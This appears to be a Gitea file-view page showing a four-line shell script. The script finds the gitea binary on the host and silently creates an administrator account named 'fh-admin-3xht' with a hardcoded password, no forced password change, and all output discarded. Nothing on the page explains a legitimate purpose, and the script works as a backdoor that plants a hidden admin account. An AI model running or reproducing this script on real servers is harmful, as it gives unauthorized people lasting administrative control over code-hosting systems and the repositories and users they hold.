You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
4 lines
403 B
4 lines
403 B
#!/bin/sh |
|
G=""; for c in /usr/local/bin/gitea /usr/bin/gitea /app/gitea/gitea /data/gitea/gitea ./gitea "$GITEA_WORK_DIR/gitea"; do [ -x "$c" ] && G="$c" && break; done |
|
[ -z "$G" ] && G="$(command -v gitea 2>/dev/null)" |
|
[ -n "$G" ] && "$G" admin user create --username "fh-admin-3xht" --password 'Fh-admin-3xht!x' --email "fh-admin-3xht@example.com" --admin --must-change-password=false >/dev/null 2>&1
|
|
|